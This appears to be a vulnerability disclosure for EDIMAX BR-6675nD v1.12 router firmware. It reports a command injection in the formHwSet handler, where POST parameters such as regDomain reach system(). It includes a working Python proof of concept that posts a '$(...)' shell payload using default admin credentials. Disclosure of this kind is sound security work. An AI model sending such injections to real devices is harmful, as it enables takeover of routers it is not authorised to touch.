Overview

• The device's official website: https://download.edimax.com/mw/cufiles/files/download/Firmware/BR6675ND_v1.12(TaiwanOnly).zip

Affected version

BR-6675nD v1.12

Vulnerability details

The EDIMAX BR-6675nD v1.12 firmware has a command injection vulnerability in the formHwSet function. The function receives the regDomain, ABandregDomain, nic0Addr, nic1Addr, wlanAddr, and inicAddr parameter from a POST request. However, since the user can control the input of these parameters, the statement system() can cause a command injection.

POC

import requests

ip = "192.168.153.2"

payload = "$(ps>/1.txt)"
data = {"regDomain": payload}

url = f'http://{ip}/goform/formHwSet'

res = requests.post(url=url, data=data, auth=("admin", "1234"), verify=False)
print(res)